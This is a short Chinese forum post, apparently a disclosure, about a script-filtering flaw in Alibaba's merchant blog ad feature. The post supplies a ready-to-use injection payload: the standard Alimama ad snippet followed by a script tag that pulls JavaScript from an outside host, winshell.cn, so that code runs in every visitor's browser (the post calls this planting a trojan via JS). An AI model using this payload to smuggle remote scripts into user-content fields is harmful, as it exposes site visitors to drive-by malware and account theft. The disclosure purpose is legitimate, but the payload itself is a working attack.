文章作者：攻击者

信息来源：安全警戒线 www.hackeroo.com

文章备注：已经给马云发E-MAIL

在阿里巴巴网商博客中允许我们填加阿里妈妈的广告，但是他却没有过滤掉除了阿里妈妈以外的地址,从而可以使用JS挂马，简单的不能在简单的利用方法：

[code]<script type="text/JavaScript">

alimama_pid="mm_10031051_1309365_2877941";

alimama_titlecolor="0000FF";

alimama_descolor ="000000";

alimama_bgcolor="FFFFFF";

alimama_bordercolor="E6E6E6";

alimama_linkcolor="008000";

alimama_bottomcolor="FFFFFF";

alimama_anglesize="0";

alimama_bgpic="0";

alimama_icon="0";

alimama_sizecode="22";

alimama_width=120;

alimama_height=240;

alimama_type=2;

</script>

<script src="http://a.alimama.cn/js.js" type=text/javascript></script>

<script src="http://www.winshell.cn/js.js" type=text/javascript></script>[/code]






<div class="tags" style="display: block">Tags: 阿里巴巴 , 网商 , 博客 , 恶意 , 代码[/code]
[/code]